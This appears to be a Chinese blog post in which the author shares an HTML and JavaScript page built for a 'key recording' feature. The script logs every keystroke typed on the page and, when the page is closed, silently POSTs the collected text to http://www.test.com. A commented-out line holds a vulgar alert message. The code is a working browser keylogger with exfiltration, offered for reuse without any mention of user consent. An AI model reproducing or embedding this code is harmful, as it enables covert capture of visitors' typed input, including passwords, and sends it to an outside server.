最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>js 按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="js 按键记录">
<META NAME="Description" CONTENT="js 按键 记录">
</HEAD>
<BODY>
<script type="text/javascript">
var keystring = "";//记录按键的字符串
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
//屏蔽了退格、制表、回车、空格、方向键、删除键
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup;
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
<!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
xmlhttp.send("keystring="+keystring);
}
<!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
<!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} -->
window.onbeforeunload = function() { loadXMLDoc();}
</script>
<br/>请按下任意键查看键盘响应键值：<span id="content"></span>
</BODY>
</HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去
原文：http://www.cnblogs.com/larrylawrence/p/4135987.html